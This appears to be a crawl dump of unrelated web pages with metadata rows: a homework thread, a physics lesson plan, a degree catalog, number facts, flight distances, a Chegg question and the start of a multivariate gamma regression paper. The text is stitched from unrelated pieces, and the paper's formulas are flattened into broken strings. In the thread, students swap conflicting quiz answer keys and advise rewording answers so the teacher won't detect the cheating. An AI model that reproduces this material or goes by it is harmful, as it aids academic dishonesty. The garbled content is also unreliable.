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13. GuYs OnLy SoMe Of GeMiNiKiTtEnS ArE RiGhT DoNt Do ThErEs I FoRgOt ThEm BuT I WiLl SaY NeXt TiMe I PrOmIsE.
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14. gemini lied like everyone else in this world. Ill tell you the answers soon ;)
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15. Also soon meaning monday so ya'll will have to wait ohh and Anonymous she was capping
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16. ohh and Ethan she wouldn't be cheating she would be learning because she was watching a video on how to do stem and leaf problems not on how to be a professional cheater so just chilax man
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17. tomboy girl, the ones gemini got wrong were 7 and 8 so i had to fend for myself on those two, ethan, tomboy girls right, XxnaxX or however you spell her name wasn't cheating, she was learning, and i give her props for that
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18. "IlL tElL yOu GuYs tHe AnSwEr SoOn"
8 Months Later:
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19. @clicks tongue in uganda The answers are
D
C
B
B
D
B
D
A
and the last 2 are write-in questions. I know because I took the test. TRUST ME!
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20. thx DESTROY BIDEN AND OBAMA I got a 100% HE IS NOT LIEING!!!
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21. She is not lying
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22. I HAVE 10 QUESTIONS
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23. THX SO MUCH YOU GUYS HELPED ME GET MONEY
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24. hey guys it your girl that girl laylay
so i am in school today and i had a hard question and i did help on this question so thx i love you guys give me a thumps up it you are a fan
by that girl laylay
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25. does anyone have the answers for lesson 9 unit 3 with 10 questions?
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26. That was cringy for the people that where cosplayin as Deku and Bakugo...;-; but ty for the answers loves xx <3
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27. For the people who don't know the last two questions you have to write.
D
C
B
B
D
B
D
A
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28. number 4 is c tho but the rest is right trust me if you dont you well get it wrong then yall wish you had listen NUMBER 4.C i listened to hoi and 4 was wrong its c your welcome !!!
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29. The answer is 4 students. It's easy, there are 4 eights in the seven's. That implies that there are four students who scored 78.
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30. i have ten this is no help
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31. practically anyone here is cheating
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32. umm i have 10 questions!!!
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33. GIVE US THE ESSAY ANSWERS
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34. essay answers are easily found and you might have to redo the whole grade if it is plagirism
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35. @Ralph do I look like I care
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36. imagine cheating I could
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37. this dude is so right!!!!!
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38. i hate how some people wanna give out wrong answers its but heres a little song:)
on the back back loaded up with things and nick nacks to anything that u might need i got it right for u keep talkin shid u can get lit yk im petty dont try me lil btc im boogie and rich
Thxs babes for listening to the song:)
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39. #wap #seeyouatchurch
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40. thx and love the song
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41. Monsieur and Madam, Mr. and Ms., Sir and M'am, I got to connexus Helpppppppppppppppppppppppppppppppppppppp!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! i got 10 questions
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42. I found the freakin answers for conexxus
1. is 4 students
2. is 78
3. is 56
4. is The scale on graph 1 does not distort the differences in the numbers of students
5. is No; \$9.25 is the correct median
6. is nice;sly
7. How old was each U.S. president when he was elected.
8. is there is only one answer
Other 2 solve yourself.
Guys trust me i got 8/8 but my teacher still needs to grade the two other question You should at least get a A, B, C. πππππππππππ
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43. nooo
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44. Umm what are the answers!!!!! ;-; pls help (from a connexs kid 6th)
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45. 1. 4 students
2. 78
3. 56
4. the scale on graph 1 ...........
5. no 9.25 is the correct media
6. nice shy
7. how old was each U.S president ..........
8. there is only one answer
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46. the dots mean there is more
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47. go trump, trump da best. this is my opinion so don't act like i murdered someone
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48. if a flower and a girl fell from a tree who would land first?
the flower because..................a rope caught the girl on the way
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49. who wants to be friends
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50. that song was lit \$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$
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51. thanks peeps who gave me the correct answer.
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52. hey shawty >:)
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53. A
B
C
D
E
F
G
H
I
J
K
L
M
O
Q
R
S
T
U
V
W
X
Y
Z
Now bye shawty
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54. i have ten questions
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55. For those who have ten questions these are some of the questions, the questions that are not on here I got wrong, 1. D - 4 students 2. C - 78 3. B - 56 5. D - No; \$9.25 is the correct median 6. B - nice; sly 7. D - How old was each U.S. President when he was elected 8. A there is only one answer 10. Because the outlier 77 is so much greater than the other values, it pulls the mean way up. (I would change up some of the words so you can get it right but they don't think your cheating) ight there are some of the answers and sorry again if I could give yall all the answers I would
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56. I need help with number 9 on unit 3 lesson 9 can someone please help me btw my name is my YouTube channel lol
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58. 1: 4 students (D)
2: 78 (C)
3: 56 (B)
4: There are 5 times as many cows as goats (C)
5: No; 9.25 is the correct median (D)
6: Nice; sly (B)
7: how old was each U.S President when he was elected?
8: There is only one answer (A)
9: More than half of the students earned higher than 80% on the test (B). ~ these are my answers I did the assignment and got a 100, hope this helps~ tell me what u got! Should I keep posting?..
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59. Yes thunder and thanks
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60. Guys thunder is correct 100%
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61. Thanks Thunder I got an π― ππ
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62. Hold onβ¦.. nope
I got an 9 out of ten because for mine number 4 is B.
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63. thks
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64. SMH they asked this question in 2018 i was still in 3rd grade now im in sixth
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65. there probobly in 8th or 9th now
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## Similar Questions
1. ### Pre-Algebra
1. What data are represented by the stem-and-leaf plot below? 3 | 7 8 9 4 | 1 3 7 5 | 2 4 Key: 4 | 1 means 41 a. 37, 38, 39, 41, 43, 47, 52, 54 b. 73, 83, 93, 14, 34, 74, 25, 45 c. 7, 8, 9, 1, 3, 7, 2, 4 d. 37, 38, 39, 14, 34, 74,
2. ### Math
The stem and leaf plot shows kilometers walked by participants in a charity benefit walk. Use it to answer the question 12|3 3 6 7 9 9 13| 1 1 4 5 5 14| 0 0 2 3 3 8 8 9 15| 2 2 2 2 2 3 5 5 7 16| 4 5 5 9 9 17|3 5 How many people
3. ### Math
1. What type of graph does not show the number of times a response was given? (1 point) box-and-whisker plot line plot stem-and-leaf plot bar graph 2. Which of the following types of information is suited for display on a scatter
4. ### Math
Use the sterm-and-lead plot below to answer questions 1-3 Stem Leaf 5 4 5 6 0 6 9 7 2 3 4 5 5 8 1 2 8 9 9 5 6 5/4= 54 1. What is the range of data? A. 40*** B. 42 C. 54 D. 96 2. What is the median of the data? A. 64.5 B. 72.5 C.
1. ### algebra
The regional manager of a chain of department stores created the following stem-and-leaf plot showing the number of pairs of boots at each of the stores: I 0 I I 1 I 7 8 I 2 I 0 5 8 I 3 I 4 4 7 8 I 4 I 0 I 5 I I 6 I Key: 1 I 7 =
2. ### Math
Stem-and-Leaf plots Use stem-and-leaf plot to answer questions 1-3 ----|----- 5| 4, 5 6| 0, 6, 9 7| 2, 3, 4, 5, 5 8| 1, 2, 8, 9 9| 5, 6 Key: 5|4 = 54 1. What is the range of data? A. 40 B. 42 ** C. 54 D. 96 2. What is the median
3. ### ALGEBRA! URGENT.
1. What data are represented by the stem-and-leaf plot below? 3 | 7 8 9 4 | 1 3 7 5 | 2 4 Key: 4 | 1 means 41 a. 37, 38, 39, 41, 43, 47, 52, 54 b. 73, 83, 93, 14, 34, 74, 25, 45 c. 7, 8, 9, 1, 3, 7, 2, 4 d. 37, 38, 39, 14, 34, 74,
4. ### Math
the box and whisker plot show data for the test scores of four groups of students in the same class. which plot represents a group with a median grade below 65? (Posting plots in comments) I was thinking its A, but i'm not sure.
1. ### math
The numbers below represent the scores on a science test. Graph the data in a line plot. 58, 55, 54, 61, 56, 54, 61, 55, 53, 54.
2. ### Algebra
Find the range, median and mode of the data represented on the stem and leaf plot.
3. ### math
the stem-and-leaf plot shows the height, in inches, of the players on two different basketball teams. How many players on each team are less than 70 inches tall? Heights of Players In inches Austin College Barton College Leaf Stem
4. ### Math
Which stem-and-leaf plot represents the data set below? 56,65,67,72,85,88,89,96,97,104,113 A. 5|6 6|5 7 7|2 8|5 8 9 9|6 7 1|04 1|13 Key:8|9 means 89 B. 5|6 6|5 7 7|2 8|5 8 9 9|6 7 1|0 4 1|1 3 C. 5|6 6|5 6 7 7|2 8|5 9 9|6 7 8 10|4 | 3,980 | 10,138 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.734375 | 3 | CC-MAIN-2021-49 | latest | en | 0.9238 |
https://www.nagwa.com/en/plans/163148710174/ | 1,709,336,812,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947475711.57/warc/CC-MAIN-20240301225031-20240302015031-00766.warc.gz | 902,632,308 | 9,852 | Lesson Plan: Relating Stress to Strain | Nagwa Lesson Plan: Relating Stress to Strain | Nagwa
# Lesson Plan: Relating Stress to Strain
This lesson plan includes the objectives, prerequisites, and exclusions of the lesson teaching students how to calculate the Young modulus of materials and the elastic potential energy of objects from values of stress and strain.
#### Objectives
Students will be able to
• recognize that tensile stress is a quantity defined as the tensile force per unit cross-sectional area of an object that a tensile force acts on,
• use the formula in all combinations,
• recognize that the unit of stress is newtons per square metre (N/m2 ), which is equivalent to the pascal,
• recognize that strain is a dimensionless quantity defined as the extension of an object divided by the unextended length of the object,
• use the formula in all combinations,
• recognize that the Young modulus of a substance is determined by the tensile stress on an object of the substance divided by the tensile strain of the object,
• use the formula ,
• recognize that Young’s modulus is typically measured using units of gigapascals,
• relate the tensile strain of an object to the elastic potential energy change resulting from the strain using the formula .
#### Prerequisites
Students should already be familiar with
• Hooke’s law,
• elastic potential energy.
#### Exclusions
Students will not cover
• microscopic representations of strained objects,
• deformation of objects other than their extension parallel to the tensile force direction,
• dependency of Young’s modulus on applied stress,
• material properties other than Young’s modulus and density. | 337 | 1,678 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.015625 | 3 | CC-MAIN-2024-10 | latest | en | 0.869736 |
http://catalog.illinois.edu/undergraduate/eng_las/computer-science-statistics-bslas/ | 1,575,766,627,000,000,000 | text/html | crawl-data/CC-MAIN-2019-51/segments/1575540503656.42/warc/CC-MAIN-20191207233943-20191208021943-00181.warc.gz | 26,865,261 | 6,164 | # Statistics & Computer Science, BSLAS
for the degree of Bachelor of Science in Liberal Arts & Sciences Major in Statistics & Computer Science
#### statistics email:stat-office@illinois.edu
This major is sponsored jointly by the Departments of Statistics and Computer Science. The Statistics and Computer Science major is designed for students who would like a strong foundation in computer science, coupled with significant advanced coursework in statistics. The major prepares students for professional or graduate work in statistics and computer science, and for applications of computing in which knowledge of statistics is particularly important, such as data mining and machine learning.
for the degree of Bachelor of Science in Liberal Arts & Sciences Major in Statistics & Computer Science
Departmental distinction: To graduate with distinction requires a specified minimum grade point average in all Computer Science, Statistics, and Mathematics courses listed below. A GPA of 3.25 is required for Distinction, 3.5 for High Distinction, and 3.75 for Highest Distinction.
#### Minimum hours required for graduation: 120 hours
CS 100Freshman Orientation (recommended)0-1
Calculus through MATH 241 - Calculus III 11-12
MATH 415Applied Linear Algebra3
Required Computer Science Foudation:32
Intro to Computer Science
Discrete Structures
Software Design Studio
Data Structures
Computer Architecture
System Programming
Numerical Methods I
Introduction to Algorithms & Models of Computation
Programming Languages & Compilers
Required Probability and Statistics Foundation:10
Statistics and Probability I 1
Statistics and Probability II
Statistical Computing
At least four other statistics, computer science, or mathematics courses, with at least one chosen from each of the following groups:12
Group I: Statistical Methods
Statistical Analysis
Biostatistics
Probability & Statistics for Computer Science
Group II: Mathematical Analysis and Modeling
Fundamental Mathematics
Differential Equations
Elementary Real Analysis
Real Variables
Group III: Computational Application Areas
Statistics Programming Methods
Text Information Systems
Database Systems
Introduction to Data Mining
Machine Learning
Advanced Topics in Stochastic Processes & Applications
Simulation
Group IV: Statistical Analysis and Modeling
Methods of Applied Statistics
Applied Regression and Design
Sampling and Categorical Data | 457 | 2,407 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2019-51 | latest | en | 0.831929 |
https://metanumbers.com/1521403000000 | 1,601,415,480,000,000,000 | text/html | crawl-data/CC-MAIN-2020-40/segments/1600402088830.87/warc/CC-MAIN-20200929190110-20200929220110-00621.warc.gz | 497,449,703 | 8,218 | ## 1521403000000
1,521,403,000,000 (one trillion five hundred twenty-one billion four hundred three million) is an even thirteen-digits composite number following 1521402999999 and preceding 1521403000001. In scientific notation, it is written as 1.521403 × 1012. The sum of its digits is 16. It has a total of 15 prime factors and 392 positive divisors. There are 546,393,600,000 positive integers (up to 1521403000000) that are relatively prime to 1521403000000.
## Basic properties
• Is Prime? No
• Number parity Even
• Number length 13
• Sum of Digits 16
• Digital Root 7
## Name
Short name 1 trillion 521 billion 403 million one trillion five hundred twenty-one billion four hundred three million
## Notation
Scientific notation 1.521403 × 1012 1.521403 × 1012
## Prime Factorization of 1521403000000
Prime Factorization 26 × 56 × 13 × 37 × 3163
Composite number
Distinct Factors Total Factors Radical ω(n) 5 Total number of distinct prime factors Ω(n) 15 Total number of prime factors rad(n) 15214030 Product of the distinct prime numbers λ(n) -1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) 0 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0
The prime factorization of 1,521,403,000,000 is 26 × 56 × 13 × 37 × 3163. Since it has a total of 15 prime factors, 1,521,403,000,000 is a composite number.
## Divisors of 1521403000000
392 divisors
Even divisors 336 56 28 28
Total Divisors Sum of Divisors Aliquot Sum τ(n) 392 Total number of the positive divisors of n σ(n) 4.17519e+12 Sum of all the positive divisors of n s(n) 2.65379e+12 Sum of the proper positive divisors of n A(n) 1.0651e+10 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 1.23345e+06 Returns the nth root of the product of n divisors H(n) 142.841 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors
The number 1,521,403,000,000 can be divided by 392 positive divisors (out of which 336 are even, and 56 are odd). The sum of these divisors (counting 1,521,403,000,000) is 4,175,190,619,376, the average is 10,650,996,478.
## Other Arithmetic Functions (n = 1521403000000)
1 φ(n) n
Euler Totient Carmichael Lambda Prime Pi φ(n) 546393600000 Total number of positive integers not greater than n that are coprime to n λ(n) 474300000 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 56302656128 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares
There are 546,393,600,000 positive integers (less than 1,521,403,000,000) that are coprime with 1,521,403,000,000. And there are approximately 56,302,656,128 prime numbers less than or equal to 1,521,403,000,000.
## Divisibility of 1521403000000
m n mod m 2 3 4 5 6 7 8 9 0 1 0 0 4 2 0 7
The number 1,521,403,000,000 is divisible by 2, 4, 5 and 8.
• Arithmetic
• Abundant
• Polite
• Practical
• Frugal
## Base conversion (1521403000000)
Base System Value
2 Binary 10110001000111010101011110111010011000000
3 Ternary 12101110000012011012011021
4 Quaternary 112020322223313103000
5 Quinary 144411313132000000
6 Senary 3122531202155224
8 Octal 26107253672300
10 Decimal 1521403000000
12 Duodecimal 206a36952b14
20 Vigesimal 2j8bi8f000
36 Base36 jex82bwg
## Basic calculations (n = 1521403000000)
### Multiplication
n×i
n×2 3042806000000 4564209000000 6085612000000 7607015000000
### Division
ni
n⁄2 7.60702e+11 5.07134e+11 3.80351e+11 3.04281e+11
### Exponentiation
ni
n2 2314667088409000000000000 3521541452306717827000000000000000000 5357683730163797422151281000000000000000000000000 8151196100122391889453225367243000000000000000000000000000000
### Nth Root
i√n
2√n 1.23345e+06 11501.3 1110.61 273.18
## 1521403000000 as geometric shapes
### Circle
Diameter 3.04281e+12 9.55926e+12 7.27174e+24
### Sphere
Volume 1.4751e+37 2.9087e+25 9.55926e+12
### Square
Length = n
Perimeter 6.08561e+12 2.31467e+24 2.15159e+12
### Cube
Length = n
Surface area 1.3888e+25 3.52154e+36 2.63515e+12
### Equilateral Triangle
Length = n
Perimeter 4.56421e+12 1.00228e+24 1.31757e+12
### Triangular Pyramid
Length = n
Surface area 4.00912e+24 4.15018e+35 1.24222e+12
## Cryptographic Hash Functions
md5 f5fd01975c9b970fae9f08832a7393ce a439ccd7907ad782e9229127659173048026a91b c88346622ca28b17b00db185f0758d309077111713674f1a6f35b452a7ccb895 a47a70a1148353c929a1e210782fa496f49074a5fd6c62a216072e0e651f9d79dbcfdf0cf1b15571e7e31f610b5378935f1f1c40e314489ef40bbd8d92435a57 a06b8ebef47bb553dd0b8e075cb00e3b466f0cf5 | 1,732 | 4,784 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.5 | 4 | CC-MAIN-2020-40 | latest | en | 0.772929 |
https://www.airmilescalculator.com/distance/ccn-to-hea/ | 1,722,813,081,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722640417235.15/warc/CC-MAIN-20240804230158-20240805020158-00519.warc.gz | 517,220,292 | 27,665 | # How far is Herat from Chakcharan?
The distance between Chakcharan (Chakcharan Airport) and Herat (Herat International Airport) is 175 miles / 282 kilometers / 152 nautical miles.
The driving distance from Chakcharan (CCN) to Herat (HEA) is 221 miles / 356 kilometers, and travel time by car is about 9 hours 35 minutes.
175
Miles
282
Kilometers
152
Nautical miles
## Distance from Chakcharan to Herat
There are several ways to calculate the distance from Chakcharan to Herat. Here are two standard methods:
Vincenty's formula (applied above)
• 175.267 miles
• 282.064 kilometers
• 152.302 nautical miles
Vincenty's formula calculates the distance between latitude/longitude points on the earth's surface using an ellipsoidal model of the planet.
Haversine formula
• 174.896 miles
• 281.468 kilometers
• 151.981 nautical miles
The haversine formula calculates the distance between latitude/longitude points assuming a spherical earth (great-circle distance – the shortest distance between two points).
## How long does it take to fly from Chakcharan to Herat?
The estimated flight time from Chakcharan Airport to Herat International Airport is 49 minutes.
## Flight carbon footprint between Chakcharan Airport (CCN) and Herat International Airport (HEA)
On average, flying from Chakcharan to Herat generates about 51 kg of CO2 per passenger, and 51 kilograms equals 112 pounds (lbs). The figures are estimates and include only the CO2 generated by burning jet fuel.
## Map of flight path and driving directions from Chakcharan to Herat
See the map of the shortest flight path between Chakcharan Airport (CCN) and Herat International Airport (HEA).
## Airport information
Origin Chakcharan Airport
City: Chakcharan
Country: Afghanistan
IATA Code: CCN
ICAO Code: OACC
Coordinates: 34°31′35″N, 65°16′15″E
Destination Herat International Airport
City: Herat
Country: Afghanistan
IATA Code: HEA
ICAO Code: OAHR
Coordinates: 34°12′35″N, 62°13′41″E | 516 | 1,959 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2024-33 | latest | en | 0.834622 |
http://www.chegg.com/homework-help/questions-and-answers/point-charge-7-mu-micro-cc-located-x-2-m-y-2-m-second-point-charge-12-mu-micro-cc-located--q1435384 | 1,469,774,115,000,000,000 | text/html | crawl-data/CC-MAIN-2016-30/segments/1469257829972.19/warc/CC-MAIN-20160723071029-00097-ip-10-185-27-174.ec2.internal.warc.gz | 357,823,155 | 13,695 | A point charge of -7 mu or micro CC is located at x = 2 m, y = -2 m. A second point charge of 12 mu or micro CC is located at x = 1 m, y = 4 m.
(a) Find the magnitude and direction of the electric field at x = -1 m, y = 0.
7690.058 N/C
282.140 degrees (counterclockwise from plus x axis)
(b) Calculate the magnitude and direction of the force on an electron at x = -1 m, y = 0 .
1.232e-15 N
?______degrees (counterclockwise from plus x axis)
I've got the first three blanks right, and I thought the last one should be 77.860 but it was wrong. Why is it wrong? What is the correct answer?
Thanks a lot!
### Get this answer with Chegg Study
Practice with similar questions
Q:
A point charge of -6 mu or micro CC is located at x = 3 m, y = -2 m. A second point charge of 12 mu or micro CC is located at x = 1 m, y = 3 m. (a) Find the magnitude and direction of the electric field at x = -1 m, y = 0. ?? N/C ??degrees (counterclockwise from plus x axis) (b) Calculate the magnitude and direction of the force on an electron at x = -1 m, y = 0 . ??N ??degrees (counterclockwise from plus x axis) | 330 | 1,095 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.015625 | 3 | CC-MAIN-2016-30 | latest | en | 0.92255 |
https://bluessay.com/use-the-integers-0-2-3-4-5-6-7-8-and-0-to-fill-in-a-3x3-magic-square/ | 1,653,162,064,000,000,000 | text/html | crawl-data/CC-MAIN-2022-21/segments/1652662540268.46/warc/CC-MAIN-20220521174536-20220521204536-00555.warc.gz | 202,140,599 | 14,646 | Use The Integers 0 2 3 4 5 6 7 8 And 0 To Fill In A 3×3 Magic Square
Use the integers 0, -2, -3, -4, -5, -6, -7, -8, and 0 to fill in a 3×3 magic square so tht every row, column, and diagonal has the same sum. What is the magic sum? | 96 | 233 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.078125 | 3 | CC-MAIN-2022-21 | latest | en | 0.655805 |
https://www.mdpi.com/2073-8994/12/5/813 | 1,669,801,839,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446710734.75/warc/CC-MAIN-20221130092453-20221130122453-00199.warc.gz | 925,236,838 | 73,545 | Next Article in Journal
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Article
# Multivariate Gamma Regression: Parameter Estimation, Hypothesis Testing, and Its Application
by 1,2, 1,*, 1 and
1
Department of Statistics, Institut Teknologi Sepuluh Nopember, Surabaya 60111, Indonesia
2
Department of Statistics, Bina Nusantara University, Jakarta 11480, Indonesia
*
Author to whom correspondence should be addressed.
Symmetry 2020, 12(5), 813; https://doi.org/10.3390/sym12050813
Received: 17 April 2020 / Revised: 3 May 2020 / Accepted: 7 May 2020 / Published: 14 May 2020
## Abstract
:
Gamma distribution is a general type of statistical distribution that can be applied in various fields, mainly when the distribution of data is not symmetrical. When predictor variables also affect positive outcome, then gamma regression plays a role. In many cases, the predictor variables give effect to several responses simultaneously. In this article, we develop a multivariate gamma regression (MGR), which is one type of non-linear regression with response variables that follow a multivariate gamma (MG) distribution. This work also provides the parameter estimation procedure, test statistics, and hypothesis testing for the significance of the parameter, partially and simultaneously. The parameter estimators are obtained using the maximum likelihood estimation (MLE) that is optimized by numerical iteration using the Berndt–Hall–Hall–Hausman (BHHH) algorithm. The simultaneous test for the model’s significance is derived using the maximum likelihood ratio test (MLRT), whereas the partial test uses the Wald test. The proposed MGR model is applied to model the three dimensions of the human development index (HDI) with five predictor variables. The unit of observation is regency/municipality in Java, Indonesia, in 2018. The empirical results show that modeling using multiple predictors makes more sense compared to the model when it only employs a single predictor.
## 1. Introduction
Gamma distribution is one family of continuous probability distributions and generalizations of exponential distributions [1]. Nagar, Correa, and Gupta [2] mentioned that the gamma distribution function was first introduced by Swiss mathematician Leonhard Euler (1729). Because this function is considered important, many researchers have studied and developed it. Bhattacharya [3], among others, conducted a study on testing the homogeneity of the parameters (shape and scale) of the gamma distribution. Chen and Kotz [4] conducted a study on the probability density function (pdf) of gamma distribution with three parameters (shape, scale, and location). Many researchers also study and develop bivariate gamma distribution; among others are Schickedanz and Krause [5], who conducted a study on testing scale parameters from two gamma-distributed data using the generalized likelihood ratio (GLR). Nadarajah [6] studied the types of bivariate gamma distribution. Next, Nadarajah and Gupta [7] developed two new bivariate gamma distributions based on gamma and beta random variables. In addition, Mathai and Moschopoulos [8] discussed joint densities, product moments, conditional densities, and conditional moments that were developed from two bivariate gamma distributions.
One statistical method that can be applied to analyze the data that follow gamma distribution and its predictor variables is gamma regression. Gamma regression is a type of non-linear regression. A non-linear regression contains at least one parameter with a non-linear form [9,10]. The gamma regression with multiple responses is the so-called multivariate gamma regression (MGR).
The MGR model proposed in this article is the extension of the trivariate gamma regression (TGR) proposed by Rahayu, Purhadi, Sutikno, and Prastyo [11], which describes the theory of parameter estimation and its hypothesis testing. The MGR is developed based on multivariate gamma distribution with three parameters (shape, scale, and location). The supporting references about multivariate gamma distribution were written by Mathai and Moschopoulos [12], and Vaidyanathan and Lakshmi [13]. The parameter estimation method for MGR in this study uses maximum likelihood estimation (MLE). However, the solution cannot be obtained in the closed form. Therefore, a numerical method is needed to achieve the parameter estimator value. The numerical optimization used in this study is the Berndt–Hall–Hall–Hausman (BHHH).
Based on the previously mentioned background, the aims of this study are: (i) how to construct the MGR model, (ii) how to estimate the parameters, and (iii) how to test the significance of the model as well as the significance of the individual parameter. The last objective of this work is how to apply the proposed MGR model to real data. The case study used in this study includes the factors that affect the life expectancy index (first response), education index (second response), and expenditure index (third response), the three indexes that compose the human development dimensions. The unit of observation is the regency/municipality in Java, Indonesia, in 2018. The predictor variables include the percentage of households that have a private toilet, net enrollment rate of schooling, population density, the percentage of poor people, and the unemployment rate.
The rest of the article is organized as follows. Section 2 introduces the detail of the proposed MGR model. Section 3 and Section 4 explore the data and application, respectively. The last section contains conclusions and further research.
## 2. Multivariate Gamma Regression Model
Suppose $y l$ is the response variables data $( y l 1 , y l 2 , … , y l k )$ that follows multivariate gamma distribution and $x l$ is the corresponding predictor variables $( x l 1 , x l 2 , … , x l s )$, with sample size as n observations $( l = 1 , 2 , … , n ) .$ In this section, we discuss the construction of the MGR model, its parameter estimation, and hypothesis testing. A short explanation about univariate gamma regression is introduced to make a smooth transition into the MGR model.
According to Balakrishnan and Wang [14], a random variable $Y$ follows univariate gamma distribution with three parameters $( α , γ , λ ) ,$ denoted by $Y ~ Gamma ( α , γ , λ ) ,$ with pdf formulated in Equation (1).
If $Y ~ Gamma ( α , γ , λ )$, then the statistics are as follows [15,16].
$μ = E ( y ) = γ α + λ$, $V a r ( y ) = α γ 2$, $S t d e v ( y ) = α γ ,$ and the skewness is $γ 1 = 2 α .$
Mathai and Moschopoulos (1992) defined the pdf as in Equation (2) for a pair of random variables $( Y 1 , Y 2 )$ that follows bivariate gamma distribution as:
$f ( y 1 , y 2 ) = ( y 1 − λ 1 ) α 1 − 1 ( y 2 − y 1 − λ 2 ) α 2 − 1 e − y 2 − ∑ i = 1 2 λ i γ γ α 2 * ∏ i = 1 2 Γ ( α i ) ,$
with $f ( y 1 , y 2 ) = 0$ for otherwise.
The mean for $Y 1$ and $Y 2$ are $E ( Y 1 ) = γ α 1 + λ 1$ and $E ( Y 2 ) = γ ( α 1 + α 2 ) + λ 1 + λ 2$, while the variances are
Suppose there are k response variables; the pdf for random variables $( Y 1 , Y 2 , … , Y k )$ that follow multivariate gamma distribution (Mathai and Moschopoulos, 1992) is:
$f ( y 1 , y 2 , … , y k ) = ( y 1 − λ 1 ) α 1 − 1 ( y 2 − y 1 − λ 2 ) α 2 − 1 ⋯ ( y k − y k − 1 − λ k ) α k − 1 e − y k − ∑ i = 1 k λ i γ γ α k * ∏ i = 1 k Γ ( α i ) ,$
with $α i > 0 , γ > 0 , λ i ∈ R ,$ $λ 1 < y 1 < ∞ , λ 2 < y 2 < ∞ , λ k < y k < ∞ , α k * = α 1 + α 2 + ⋯ + α k , i = 1 , 2 , … k ,$ otherwise $f ( y 1 , y 2 , … , y k ) = 0$.
The mean and variance for $Y i$ are $E ( Y i ) = γ α i * + λ i *$ and $V a r ( Y i ) = γ 2 α i *$ with $α i * = α 1 + α 2 + ⋯ + α i$ and $λ i * = λ 1 + λ 2 + ⋯ + λ i .$ The MGR model can be stated in Equation (4).
with
The pdf for the lth observation is formulated in Equation (5) which will be used to compose the likelihood function in Equation (6).
